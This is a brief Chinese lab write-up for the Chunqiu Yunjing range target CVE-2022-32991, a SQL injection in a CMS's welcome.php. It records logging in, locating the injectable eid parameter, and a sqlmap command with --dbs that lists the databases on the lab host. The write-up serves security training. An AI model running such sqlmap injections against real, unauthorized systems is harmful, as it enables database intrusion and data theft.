[春秋云境] CVE-2022-32991

CVE-2022-32991

靶标介绍

该CMS的welcome.php中存在SQL注入攻击。

解题过程

[春秋云境] CVE-2022-32991_第1张图片进入主界面,没有明显可以注入的地方,先注册登录。

[春秋云境] CVE-2022-32991_第2张图片登录之后的界面
[春秋云境] CVE-2022-32991_第3张图片此处有个?q=1但是多次测试后,感觉不是注入点。
[春秋云境] CVE-2022-32991_第4张图片点击这个按钮,进入新的界面。
[春秋云境] CVE-2022-32991_第5张图片多次测试发现注入点

sqlmap梭哈

sqlmap -u "http://eci-2zeb8alt7sk432zz6n7j.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e*&n=1&t=10" --dbs

sqlmap指定参数进行注入
[春秋云境] CVE-2022-32991_第6张图片[春秋云境] CVE-2022-32991_第7张图片[春秋云境] CVE-2022-32991_第8张图片

你可能感兴趣的:(python)